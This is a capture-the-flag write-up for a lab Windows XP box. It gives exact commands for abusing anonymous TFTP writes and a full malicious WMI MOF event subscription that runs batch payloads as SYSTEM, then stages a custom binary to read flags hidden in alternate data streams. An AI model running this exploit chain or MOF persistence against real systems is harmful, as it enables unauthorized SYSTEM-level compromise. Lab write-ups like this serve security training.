Dropzone
Summary
I found a legacy Windows XP host with a single exposed service: an anonymous, world-writable TFTP daemon on UDP/69. Unauthenticated TFTP reads retrieved boot.ini (confirming the end-of-life OS) and mofcomp.log (confirming that the WMI service auto-compiles any .mof file dropped into C:\WINDOWS\system32\wbem\mof\ and executes the defined event consumers as SYSTEM). A PUT/GET round-trip proved the TFTP root was C:\ and accepted unauthenticated writes from any host.
A malicious MOF defining a CommandLineEventConsumer was placed into the WMI autocompile folder via anonymous TFTP; within seconds WMI compiled and fired it as SYSTEM, granting full administrative code execution with no separate privilege-escalation step required. The flag files on the Administrator's Desktop concealed their content in NTFS Alternate Data Streams rather than the visible file body; a custom ADS-enumeration binary (built on the Windows BackupRead API) was cross-compiled, staged via the same TFTP write primitive, and executed through WMI to extract both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path: how the box was taken
Exact commands 1
UDP scan with TFTP enumeration script; confirms the service is open and answering anonymous read requests.
$ nmap -sU -Pn -n --script tftp-enum -p69 $TARGETFixDisable or strictly lock down the TFTP serviceCritical
Exact commands 2
Retrieve boot.ini with no credentials; confirms the TFTP root equals C:\ and identifies the OS version.
$ tftp $TARGET -m binary -c get boot.ini && cat boot.iniRetrieve the WMI MOF compiler log; confirms the autocompile folder path and proves WMI is processing MOF files.
$ tftp $TARGET -m binary -c get WINDOWS/system32/wbem/logs/mofcomp.log && cat mofcomp.logFixDecommission or replace the end-of-life Windows XP operating systemCritical
Exact commands 2
Upload a benign file to confirm anonymous write access is permitted.
$ echo probe > test.txt && tftp $TARGET -m binary -c put test.txtRetrieve the same file to verify it landed on C:\ of the target.
$ tftp $TARGET -m binary -c get test.txt && cat test.txtExact commands 4
Stage a batch script that writes command output to a flat file for retrieval via TFTP; swap the whoami for any subsequent command.
$ printf '@echo off\r\nwhoami > C:\\dz_out.txt 2>&1\r\n' > dz_probe.bat && tftp $TARGET -m binary -c put dz_probe.batCraft the WMI event subscription MOF; adjust CommandLineTemplate for each new command to execute.
$ cat > evil.mof << 'MOFEOF'
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $F {
EventNamespace = "Root\\Cimv2";
Name = "filtDZ";
Query = "Select * From __InstanceModificationEvent Where TargetInstance Isa \"Win32_LocalTime\" And TargetInstance.Seconds = 5";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $C {
Name = "consDZ";
RunInteractively = false;
CommandLineTemplate = "cmd.exe /c C:\\dz_probe.bat";
};
instance of __FilterToConsumerBinding {
Consumer = $C;
Filter = $F;
};
MOFEOFUpload the MOF to the WMI autocompile directory; the WMI service detects, compiles, and fires the consumer within seconds.
$ tftp $TARGET -m binary -c put evil.mof WINDOWS/system32/wbem/mof/evil.mofWait for WMI to fire, then retrieve the output file; expect 'nt authority\system'.
$ sleep 10 && tftp $TARGET -m binary -c get dz_out.txt && cat dz_out.txtFixRestrict write access to the WMI MOF autocompile directoryCritical
Exact commands 2
Stage a batch script to list the flags directory and read the default data stream of the flag file; update evil.mof CommandLineTemplate to call list_flags.bat and re-upload.
$ printf '@echo off\r\ndir "C:\\Documents and Settings\\Administrator\\Desktop\\flags\\" > C:\\dir_out.txt 2>&1\r\ntype "C:\\Documents and Settings\\Administrator\\Desktop\\flags\\2 for the price of 1!.txt" >> C:\\dir_out.txt 2>&1\r\n' > list_flags.bat && tftp $TARGET -m binary -c put list_flags.batRetrieve the output; expect the decoy message confirming content is in ADS and the directory listing showing the flags folder.
$ sleep 10 && tftp $TARGET -m binary -c get dir_out.txt && cat dir_out.txtExact commands 4
Cross-compile the ADS enumeration binary for 32-bit Windows using MinGW; adsenum.c opens the target file with GENERIC_READ|FILE_FLAG_BACKUP_SEMANTICS and iterates streams via BackupRead, printing each stream name and content.
$ i686-w64-mingw32-gcc -o adsenum.exe adsenum.cStage adsenum.exe to C:\ on the target via anonymous TFTP.
$ tftp $TARGET -m binary -c put adsenum.exeStage the launcher batch script; then update evil.mof CommandLineTemplate to run_ads.bat and re-upload to WINDOWS/system32/wbem/mof/.
$ printf '@echo off\r\nC:\\adsenum.exe "C:\\Documents and Settings\\Administrator\\Desktop\\flags\\2 for the price of 1!.txt" > C:\\ads_out.txt 2>&1\r\n' > run_ads.bat && tftp $TARGET -m binary -c put run_ads.batRetrieve ADS output; expect stream names :user.txt and :root.txt with flag values <user.txt> and <root.txt> respectively.
$ sleep 10 && tftp $TARGET -m binary -c get ads_out.txt && cat ads_out.txtExposed services
| 69/udp | tftp udp-response ttl 127 |